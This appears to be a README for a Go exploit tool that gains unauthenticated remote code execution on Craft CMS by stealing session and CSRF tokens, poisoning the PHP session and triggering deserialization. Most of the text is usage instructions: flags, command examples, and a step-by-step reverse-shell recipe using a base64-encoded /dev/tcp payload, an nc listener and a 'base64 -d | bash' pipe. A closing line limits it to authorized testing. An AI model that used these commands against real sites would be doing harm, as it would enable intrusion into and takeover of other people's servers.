
Pre-auth RCE exploit for Craft CMS in Go. Grabs session/CSRF token, poisons PHP session, triggers deserialization for command execution or reverse shell.
Exploit for unauthenticated remote code execution in Craft CMS, written in Go.
Inspired by the original work of c0gnit00.
GET /admin/loginassets/generate-transform to include and execute the poisoned filego run main.go -u <url> -c <comando>
| Flag | Description | Required |
|---|---|---|
-u | Target URL (e.g. http://target.com) | Yes |
-c | Command to execute (e.g. id, whoami) | Yes |
# Sem Asset ID (brute-force automático)
go run main.go -u http://target.com -c whoami
1. Generate the base64 payload with your IP and port:
echo 'exec sh -i >& /dev/tcp/SEU_IP/4444 0>&1' | base64
2. Open the listener:
nc -lvnp 4444
3. Run the exploit with the payload:
go run main.go -u http://target.com -c "echo 'ZXhlYyBzaCAtaSA+JiAvZGV2L3RjcC9TRVVfSVAvNDQ0NCAwPiYxCg==' | base64 -d | bash"
Replace the base64 value with the one generated in step 1 using your real IP.
For exclusive use in authorized environments and controlled security testing.